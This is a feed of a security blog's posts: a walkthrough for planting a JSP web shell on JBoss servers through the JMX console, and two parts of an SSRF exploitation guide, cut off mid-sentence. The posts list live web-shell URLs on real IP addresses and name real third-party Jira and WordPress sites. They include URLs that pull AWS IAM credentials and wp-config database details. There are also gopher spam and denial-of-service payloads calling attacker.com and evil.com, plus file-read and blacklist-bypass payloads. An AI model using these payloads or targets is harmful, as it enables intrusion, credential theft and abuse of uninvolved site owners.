<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by SaN ThosH on Medium]]></title>
        <description><![CDATA[Stories by SaN ThosH on Medium]]></description>
        <link>https://medium.com/@madrobot?source=rss-e370f5fd38b7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*_ULdNtyPDmFx8TIvBiXGnQ.jpeg</url>
            <title>Stories by SaN ThosH on Medium</title>
            <link>https://medium.com/@madrobot?source=rss-e370f5fd38b7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 15 Nov 2026 23:47:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@madrobot/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Exploiting JBoSS like a BOSS]]></title>
            <link>https://medium.com/@madrobot/exploiting-jboss-like-a-boss-223a8b108206?source=rss-e370f5fd38b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/223a8b108206</guid>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[jboss]]></category>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[jexboss]]></category>
            <dc:creator><![CDATA[SaN ThosH]]></dc:creator>
            <pubDate>Wed, 24 Jul 2019 06:37:45 GMT</pubDate>
            <atom:updated>2019-07-24T06:37:45.443Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>“So many Shells in so little time”</em></blockquote><p><strong>What is Jboss ?</strong></p><p>JBoss Application Server (JBoss AS) is an open-source, cross-platform Java application server developed by JBoss, a division of Red Hat Inc. JBoss AS is an open-source implementation of Java 2 Enterprise Edition (J2EE) that is used for implementing Java applications and other Web-based applications and software.</p><p>JBoss contains a web accessible administrator page called the JMX Console. The JMX Console is ironically plagued by the same vulnerability as Apache Tomcat Manager because it is often deployed with default, weak, or even no credentials. Also comparable to Apache Tomcat Manager, JBoss allows administrators (and attackers) to upload and publish Web application ARchive (WAR) files remotely through this admin console.</p><p><strong>Vulnerable versions -</strong></p><p>JBoss Application Server versions: 3, 4, 5 and 6.</p><p><strong>Paths to Check </strong>-</p><pre>/jmx-console/HtmlAdaptor?action=inspectMBean&amp;name=jboss.system:type=ServerInfo<br>/web-console/ServerInfo.jsp<br>/invoker/JMXInvokerServlet<br>/admin-console/</pre><p><strong>Manually Exploiting JBoss jmx-console -</strong></p><ul><li>Create the WAR file with our jsp shell</li><li>Hosting the WAR file on a server</li><li>Finding Publicly accessible jmx-console</li><li>Deploy the WAR file</li><li>Accessing the jsp shell</li></ul><p><strong>Shodan Dorks -</strong></p><pre>“x-powered-by” “jboss”<br>jboss http.favicon.hash:-656811182</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cGfbydsl5rquPg1JgzgbCQ.png" /></figure><blockquote>Create the WAR file with our jsp shell -</blockquote><p>I made a repository on GitHub with WAR file</p><p><a href="https://github.com/Mad-robot/Exploiting-jboss">Mad-robot/Exploiting-jboss</a></p><p>WAR file consist of jsp shell</p><p><em>URL to access the shell -</em></p><pre>/fs/shell.jsp?pass=secret&amp;cmd=whoami</pre><blockquote>Hosting the WAR file on a server -</blockquote><p>I used python to host it</p><pre>python -m SimpleHTTPServer 8000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pwt8ZJ9wy6QzyoFZQ63Q-g.png" /></figure><blockquote>Finding Publicly accessible jmx-console -</blockquote><p>Using shodan I found some</p><p>It looks like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ml0Jv_Yuj30jJkXiiidAvQ.png" /></figure><blockquote>Deploy the WAR file -</blockquote><p>Navigate to the JMX Console on the target host (<a href="http://IP.Ad.dr.ess:port/jmx-console/">http://IP:port/jmx-console/</a>) and search for “service=MainDeployer”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RKx2xY2j4sJIaJ0_PM1wFA.png" /></figure><p>Now using the “void deploy()” we are going to deploy our WAR file</p><p>Since it allows you to enter a URL as a parameter value in java.net.URL. In this field, enter your attack IP and the name of the WAR file in the URL box and then click the “Invoke” button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yFyyEL4S1yNnHtfgqJSGWQ.png" /></figure><p>If it’s successfully deployed it will show a message like below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*98mOYmJpfaDl_QoH0Scm7w.png" /></figure><blockquote>Accessing the jsp shell -</blockquote><p>Jsp shell on the target can be found at /fs/shell.jsp</p><p>Note that the JSP shell from ‘RedTeam Pentesting’ requires a password. By default the password is “<em>secret</em>”</p><pre><a href="http://203.196.40.169:8090/fs/shell.jsp?cmd=whoami&amp;html=true&amp;pass=secret">http://203.196.40.169:8090/fs/shell.jsp?cmd=whoami&amp;html=true&amp;pass=secret</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JFsn0InxMT0G-XlpHM8HfA.png" /></figure><h4>Automating using JexBoss -</h4><p><a href="https://github.com/joaomatosf">joaomatosf</a> wrote a Exploitation Tool for JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.</p><p><a href="https://github.com/joaomatosf/jexboss">GitHub - joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool</a></p><p>Usage-</p><pre>python jexboss.py -host http://target_host:8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*br5tV9zll9zAz09u-Se2jg.jpeg" /></figure><pre><a href="http://103.38.15.81:8081/fs/shell.jsp?pass=secret&amp;cmd=whoami">http://103.38.15.81:8081/fs/shell.jsp?pass=secret&amp;cmd=whoami</a><br>http://52.14.233.11:8080/fs/shell.jsp?pass=secret&amp;cmd=whoami<br>http://34.197.157.79:8090//fs/shell.jsp?pass=secret&amp;cmd=whoami<br>http://14.192.159.214:8080/fs/shell.jsp?pass=secret&amp;cmd=whoami<br>https://13.232.144.35:8443/fs/shell.jsp?pass=secret&amp;cmd=whoami<br>http://13.234.45.168:8080/fs/shell.jsp?pass=secret&amp;cmd=dir<br>http://103.211.80.23:3541/fs/shell.jsp?pass=secret&amp;cmd=whoami<br>http://190.48.127.45:8080/fs/shell.jsp?pass=secret&amp;cmd=whoami<br>http://41.64.20.50:8080/fs/shell.jsp?pass=secret&amp;cmd=whoami<br>http://203.196.40.169:8090/fs/shell.jsp?pass=secret&amp;cmd=whoami<br>http://222.92.88.242:8086/fs/shell.jsp?pass=secret&amp;cmd=whoami<br>http://200.18.67.52:8080/fs/shell.jsp?pass=secret&amp;cmd=whoami<br>http://177.131.177.93:8080/fs/shell.jsp?pass=secret&amp;cmd=whoami<br>http://177.131.177.93:8080/fs/shell.jsp?pass=secret&amp;cmd=whoami<br>http://222.180.200.190:9080/fs/shell.jsp?pass=secret&amp;cmd=whoami<br>http://59.89.197.92:8080/fs/shell.jsp?pass=secret&amp;cmd=whoami<br><a href="https://web.unimeditapetininga.com.br/fs/shell.jsp?pass=secret&amp;cmd=dir">https://web.unimeditapetininga.com.br/fs/shell.jsp?pass=secret&amp;cmd=dir</a></pre><pre>Go find some by yourself</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YPmr_k2aYKHb6dr3kVjccQ.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=223a8b108206" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSRF — Server Side Request Forgery (Types and ways to exploit it) Part-3]]></title>
            <link>https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-3-b0f5997e3739?source=rss-e370f5fd38b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0f5997e3739</guid>
            <category><![CDATA[remote-code-execution]]></category>
            <category><![CDATA[jira]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[ssrf]]></category>
            <category><![CDATA[code]]></category>
            <dc:creator><![CDATA[SaN ThosH]]></dc:creator>
            <pubDate>Sun, 27 Jan 2019 15:07:45 GMT</pubDate>
            <atom:updated>2020-05-04T07:08:55.216Z</atom:updated>
            <content:encoded><![CDATA[<h3>SSRF — Server Side Request Forgery (Types and ways to exploit it) Part-3</h3><p>Lets get in to Live Examples</p><blockquote>The author of this BLOG is no way responsible for any misuse of the information.</blockquote><h4><strong>4. Live Examples</strong> -</h4><p>Lets look in to basic SSRF</p><pre>https://robert-brook.com/parliament/index.php?page=http://www.parliament.uk/business/news/2019/parliamentary-news-2019/this-week-in-the-commons-friday-25-january-2019/</pre><p>Here the page parameter fetch external resource and display its content</p><p><strong><em>SSRF to XSS -</em></strong></p><p><a href="https://robert-brook.com/parliament/index.php?page=http://brutelogic.com.br/poc.svg">https://robert-brook.com/parliament/index.php?page=http://brutelogic.com.br/poc.svg</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JXdF_weURF3Ivb49LdiBhA.png" /></figure><p><strong><em>Read Local files -</em></strong></p><pre>https://robert-brook.com/parliament/index.php?page=file:///etc/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A7NBusVA6UIwj1PaS8Gicw.png" /></figure><p>When you try other URL schemas like DICT gives an error</p><pre> <strong>Warning</strong>: file_get_contents(): Unable to find the wrapper “dict” — did you forget to enable it when you configured PHP</pre><p>This indicates DICT URL schemas is not enabled</p><p>In the same way you can try other URL schemas and find which all are enabled and use them to exploit it further</p><p><strong><em>SSRF in FFMPEG -</em></strong></p><p>Read local files</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FOQBZ__L23KU%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DOQBZ__L23KU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FOQBZ__L23KU%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/399fd1b08e2a6e0f38d42aec713f3648/href">https://medium.com/media/399fd1b08e2a6e0f38d42aec713f3648/href</a></iframe><p>Working vulnerable site -</p><pre>https://www.onlinevideoconverter.com/<br>https://www.files-conversion.com/</pre><p>Repo Link - https://github.com/neex/ffmpeg-avi-m3u-xbin</p><p><strong><em>SSRF in Widely used Plugins and CMS -</em></strong></p><p>SSRF in Jira -</p><p>Jira version &lt; 7.3.5 are suffering from SSRF</p><p><em>https://&lt;JIRA_BASEPATH&gt;/plugins/servlet/oauth/users/icon-uri?consumerUri=…</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*05-nYmzuOEsMmAG27d_S3A.png" /></figure><p>There are more than 40k jira sites on shodan. You can find them using below dorks</p><pre>X-AUSERNAME: anonymous<br>X-AUSERNAME: anonymous org:&quot;Amazon.com&quot;  -- For aws<br>X-AUSERNAME: anonymous org:&quot;Microsoft Azure&quot; -- For Azure<br>X-AUSERNAME: anonymous org:&quot;google&quot;  -- For Google</pre><p>Now lets see some vulnerable Sites</p><pre><a href="https://jira.majesco.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com">https://jira.majesco.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com</a></pre><pre><a href="https://jira.intellectdesign.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com">https://jira.intellectdesign.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com</a></pre><pre><a href="https://team.asg.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com">https://team.asg.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com</a></pre><pre><a href="https://jira.magnitude.com/https://tickets.metabrainz.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com">https://jira.magnitude.com/https://tickets.metabrainz.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com</a></pre><pre><a href="https://support.eu.evertz.com/jira/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com">https://support.eu.evertz.com/jira/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com</a></pre><pre><a href="https://jira.dhis2.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com">https://jira.dhis2.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com</a></pre><pre><a href="https://jira.vectormediagroup.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/">https://jira.vectormediagroup.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/</a> -- <strong><em>Aws Details </em></strong></pre><pre><a href="https://mattel.cprime.com/jira/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com">https://mattel.cprime.com/jira/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com</a></pre><pre><a href="http://adoptivefam.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com">http://adoptivefam.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com</a></pre><pre><a href="https://jira.iea-dpc.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com">https://jira.iea-dpc.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com</a></pre><pre><a href="https://jira.fellowshipchurch.com:8443/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com">https://jira.fellowshipchurch.com:8443/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com</a></pre><pre><a href="https://jira.soleus.nu/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com">https://jira.soleus.nu/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com</a></pre><pre><a href="http://jira.succraft.com:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com">http://jira.succraft.com:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com</a></pre><pre><a href="https://tickets.metabrainz.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com">https://tickets.metabrainz.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com</a></pre><pre><a href="http://support.make-my-day.co.nz/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com">http://support.make-my-day.co.nz/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com</a></pre><pre><a href="http://52.202.112.34/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/iam/security-credentials/SystemsManagerRole">http://52.202.112.34/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/iam/security-credentials/SystemsManagerRole</a> -- <strong><em>Aws Details</em></strong></pre><pre><a href="https://jira.canallabs.fr/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/profile">https://jira.canallabs.fr/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/profile</a> -- <strong><em>Aws Details</em></strong></pre><pre><a href="http://54.247.191.19/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data">http://54.247.191.19/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data</a> -- <strong><em>Aws Details</em></strong></pre><pre><a href="http://52.22.123.239/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data">http://52.22.123.239/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data</a> -- <strong><em>Aws Details</em></strong></pre><pre><a href="http://52.22.123.239/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance">http://52.22.123.239/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance</a> -- <strong><em>Aws Details</em></strong></pre><pre><a href="https://devops.deviate.net.nz/projects/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance">https://devops.deviate.net.nz/projects/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance</a> -- <strong><em>Aws Details</em></strong></pre><pre><a href="https://52.73.101.120/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/iam/security-credentials/BitbucketRole">https://52.73.101.120/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/iam/security-credentials/BitbucketRole</a> -- <strong><em>Aws Details</em></strong></pre><p>These are some vulnerable sites I found</p><p><em>SSRF in JSmol2WP Wordpress Plugin -</em></p><p>JSmol2WP version below 1.07 has an Unauthenticated Server Side Request Forgery</p><pre>http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=php://filter/resource=../../../../wp-config.php</pre><p>Dork -</p><pre>inurl:wp-content/plugins/jsmol2wp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VSjtN_5vACD2vsoIXaNdHg.png" /></figure><p>Vulnerable sites -</p><pre><a href="https://www.vivelab12.fr/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=php://filter/resource=../../../../wp-config.php">https://www.vivelab12.fr/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=php://filter/resource=../../../../wp-config.php</a> -- <strong>DB details</strong></pre><pre><a href="http://thasso.com/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=https://google.com">http://thasso.com/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=https://google.com</a> -- <strong>Fetch google.com</strong></pre><pre><a href="http://www.ch.ic.ac.uk/rzepa/blog/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=php://filter/resource=../../../../wp-config.php">http://www.ch.ic.ac.uk/rzepa/blog/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=php://filter/resource=../../../../wp-config.php</a> -- <strong>DB details</strong></pre><p><em>SSRF in </em>Qards<em> Wordpress Plugin -</em></p><p>Qards is vulnerable to Server Side Request Forgery (SSRF)</p><pre>http://target/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com</pre><p>Dork -</p><pre>inurl:wp-content/plugins/qards</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kao05AxAXajtjgs29muKtA.png" /></figure><p>Vulnerable sites -</p><pre><a href="http://www.horlovia-chemicals.ch/wordpress/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com">http://www.horlovia-chemicals.ch/wordpress/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com</a></pre><pre><a href="https://vfsgroup.com.au/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com">https://vfsgroup.com.au/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com</a></pre><pre><a href="https://mrgoatygelato.com.au/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com">https://mrgoatygelato.com.au/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com</a></pre><pre><a href="https://arturolopezvalerio.com/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com">https://arturolopezvalerio.com/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com</a></pre><pre><a href="https://hooverwellness.com/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com">https://hooverwellness.com/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com</a><br></pre><p><em>SSRF in HTML to PDF conversion -</em></p><p>Vulnerable sites -</p><pre><a href="https://pdfcrowd.com/#convert_by_input">https://pdfcrowd.com/#convert_by_input</a><br><a href="https://convertio.co/html-pdf/">https://convertio.co/html-pdf/</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GoXTcoYYBjTdzqYTVAL7Eg.png" /></figure><p>Content of Ssrf.html</p><pre>&quot;&gt;&lt;iframe src=&quot;file:///etc/passwd&quot;&gt;&lt;/iframe&gt;</pre><pre>&quot;&gt;&lt;svg/onload=document.write(document.location)&gt; -- to know the path and some times to know what os they are using at backend</pre><p>All these sites posted above are just to let you practice , I am not responsible for any misuse of the information.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0f5997e3739" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSRF — Server Side Request Forgery (Types and ways to exploit it) Part-2]]></title>
            <link>https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-2-a085ec4332c0?source=rss-e370f5fd38b7------2</link>
            <guid isPermaLink="false">https://medium.com/p/a085ec4332c0</guid>
            <category><![CDATA[server-side-request]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tech]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ssrf]]></category>
            <dc:creator><![CDATA[SaN ThosH]]></dc:creator>
            <pubDate>Tue, 22 Jan 2019 18:44:34 GMT</pubDate>
            <atom:updated>2019-01-22T18:44:34.709Z</atom:updated>
            <content:encoded><![CDATA[<p>We discussed Basic SSRF in <a href="https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978">Part -1</a>, now we will continue with Blind</p><h4>ii. <strong>Blind -</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*ypb-ew21sHz3eccqipjIpQ.png" /></figure><p>Not all SSRF vulnerabilities return the response to the attacker. This type of SSRF is known as blind SSRF</p><blockquote><em>Exploiting Blind SSRF</em> -</blockquote><p>DEMO (<a href="https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF">using Ruby</a>)</p><pre>require &#39;sinatra&#39;<br>require &#39;open-uri&#39;<br><br>get &#39;/&#39; do<br>  open params[:url]<br><br>  &#39;done&#39;<br>end</pre><p>The above code runs a server on port 4567 which on getting request does the following:<br> &gt; make request to URL mentioned by user<br> &gt; send reponse “OK” back to user instead of content(CANT SEE RESPONSE)</p><p><a href="http://localhost:4567/?url=https://google.com">http://localhost:4567/?url=https://google.com</a> will request google.com but does not show the response from google to attacker</p><p>To demonstrate impact with this kind of SSRF is to run an Internal IP and PORT scan</p><p>Here’s a list of <a href="https://en.wikipedia.org/wiki/Private_network">private IPv4 networks</a> that you could scan for services:</p><ul><li>10.0.0.0/8</li><li>127.0.0.1/32</li><li>172.16.0.0/12</li><li>192.168.0.0/16</li></ul><p>We can determine whether the specified PORT is Open/Closed by observing the Response Status and Response Time</p><p>Below is the example table of response status and time</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*nDsaxqPX4NegHeukaZoNmQ.png" /></figure><blockquote>Send Spam mails -</blockquote><p>In some case if the server supports <em>Gopher </em>we use it to send spam mails from server IP</p><p>To demonstrate we will use test.smtp.org testing server.</p><p><em>Let’s craft a malicious php page</em> :</p><p><a href="http://attacker.com/ssrf/gopher.php">http://attacker.com/ssrf/gopher.php</a></p><pre>&lt;?php<br>        $commands = array(<br>                &#39;HELO test.org&#39;,<br>                &#39;MAIL FROM: &lt;admin@server.com&gt;&#39;,<br>                &#39;RCPT TO: &lt;bit-bucket@test.smtp.org&gt;&#39;,<br>                &#39;DATA&#39;,<br>                &#39;Test mail&#39;,<br>                &#39;.&#39;<br>        );</pre><pre>        $payload = implode(&#39;%0A&#39;, $commands);</pre><pre>        header(&#39;Location: gopher://test.smtp.org:25/_&#39;.$payload);<br>?&gt;</pre><p><a href="https://example.com/ssrf.php?url=http://attacker.com/ssrf/gopher.php">https://example.com/ssrf.php?url=http://attacker.com/ssrf/gopher.php</a></p><p>This code concats our SMTP command into one line delimited by %0A and forces server to send a ‘GOPHER’ request to a SMTP server while actually sending a <strong>valid SMTP request</strong></p><blockquote><em>Performing Denial of service -</em></blockquote><p>An attacker can use iptables <em>TARPIT</em> target to block requests for a prolonged time and CURL’s FTP:// protocol which never timeouts.</p><p>An attacker can send all TCP traffic to port 12345 to TARPIT and the request</p><p>https://example.com/ssrf/url?url=ftp://evil.com:12345/TEST</p><h4><strong>2. Test Cases -</strong></h4><p>Places to look for SSRF</p><blockquote><em>End points which fetch external/internal resources -</em></blockquote><p>Case I-</p><p><a href="http://example.com/index.php?page=about.php">http://example.com/index.php?page=about.php</a></p><p><a href="http://example.com/index.php?page=https://google.com">http://example.com/index.php?page=https://google.com</a></p><p><a href="http://example.com/index.php?page=file:///etc/passwd">http://example.com/index.php?page=file:///etc/passwd</a></p><p>Refer - <a href="https://medium.com/@neerajedwards/reading-internal-files-using-ssrf-vulnerability-703c5706eefb">Link</a></p><p>Case -II</p><p>Try changing urls in POST request</p><pre>POST /test/demo_form.php HTTP/1.1<br>Host: example.com</pre><pre>url=<strong>https://example.com/as</strong>&amp;name2=value2</pre><p>Refer - #<a href="https://hackerone.com/reports/411865">411865</a>, <a href="https://medium.com/@neerajedwards/reading-internal-files-using-ssrf-vulnerability-703c5706eefb">Link</a></p><blockquote><em>PDF generators -</em></blockquote><p>There are some cases where server converts uploaded file to a pdf</p><p>Try injecting &lt;iframe&gt;, &lt;img&gt;, &lt;base&gt; or &lt;script&gt; elements or CSS url() functions pointing to internal services.</p><p>You can read internal files using this</p><pre>&lt;iframe src=”file:///etc/passwd” width=”400&quot; height=”400&quot;&gt;</pre><pre>&lt;iframe src=”file:///c:/windows/win.ini” width=”400&quot; height=”400&quot;&gt;</pre><p>Refer - <a href="https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html">Link</a></p><blockquote><em>File uploads -</em></blockquote><p>Instead of uploading try changing input type to URL and check if the server sends a request to it</p><pre>&lt;input type=”file” id=”upload_file” name=”upload_file[]” class=”file” size=”1&quot; multiple=””&gt;</pre><p>to</p><pre>&lt;input type=”url” id=”upload_file” name=”upload_file[]” class=”file” size=”1&quot; multiple=””&gt;</pre><p>and Pass the URL</p><p><a href="https://hackerone.com/reports/713">Here’s an example</a>.</p><blockquote><em>Video Conversion</em> -</blockquote><p>There are many applications using outdated version ffmpeg to convert videos from one format to other</p><p>There is know SSRF vulnerability in this</p><p>Clone <a href="https://github.com/neex/ffmpeg-avi-m3u-xbin">neex repo</a> and generate an avi using below command</p><p>./gen_xbin_avi.py file://&lt;filename&gt; file_read.avi</p><p>and upload it in the vulnerable server and try converting it from avi to mp4</p><p>this reads can be used to read internal file and write in to the video</p><p>Refer - <a href="https://hackerone.com/reports/237381">#237381</a> , <a href="https://hackerone.com/reports/226756">#226756</a></p><blockquote>Know SSRF vulnerabilities in CMS ,Plugins, Themes..</blockquote><p>This is limited to your search knowledge</p><ul><li><a href="https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=ssrf">CVE - Search Results</a></li><li><a href="https://wpvulndb.com/search?utf8=%E2%9C%93&amp;text=ssrf">Search</a></li></ul><h4>3.<strong> Bypass Whitelisting and Blacklisting -</strong></h4><p>Lets talk about whitelisting and blacklisting first</p><p><strong><em>whitelisting</em></strong><em> - </em>Allowing specific URL’s (Allowed Hosts)</p><p>Lets say if a server whitelist google.com and u can fetch only google.com using SSRF and rest all other domains get rejected</p><p>The only way to bypass whitelisting is find an open redirect in the whitelisted domain. Lets look in to example</p><p><strong><em>Case - 1</em></strong></p><p>www.example.com whitelisted abc.com and you found SSRF in example.com</p><p><a href="http://example.com/ssrf.php?url=https://google.com">http://example.com/ssrf.php?url=https://google.com</a> -Fails to fetch as it is not whitelisted</p><p><a href="http://example.com/ssrf.php?url=https://google.com">http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com</a> - Successfully fetches google.com</p><p><strong><em>Case - 2</em></strong></p><p><a href="http://www.example.com/">www.example.com</a> whitelisted *.abc.com and you found SSRF in example.com</p><p><a href="http://example.com/ssrf.php?url=https://google.com">http://example.com/ssrf.php?url=https://google.com</a> -Fails to fetch as it is not whitelisted</p><p>This can be bypassed if you get any subdomain takeover on *.abc.com</p><p>and use it to iframe or redirect it to desired site</p><p><a href="http://example.com/ssrf.php?url=https://google.com">http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com</a> — Successfully fetches google.com</p><p><strong><em>blacklisting</em></strong> - Blocking specific URL’s (Disallowed Hosts)</p><p>In the same way if a server blacklist google.com and when you ask the server to fetch google.com it blocks</p><p>Blacklisting can be bypassed in many ways</p><p><strong>Converting IP to hexadecimal -</strong></p><p>example - converting http:<strong>//192.168.0.1</strong> to doted hex - http:<strong>//c0.a8.00.01</strong> and dot less hex http:<strong>//0xc0a80001</strong></p><p><strong>Converting IP to <em>Decimal -</em></strong></p><p>Use any online convertors ( <a href="https://www.ipaddressguide.com/ip">Link</a> 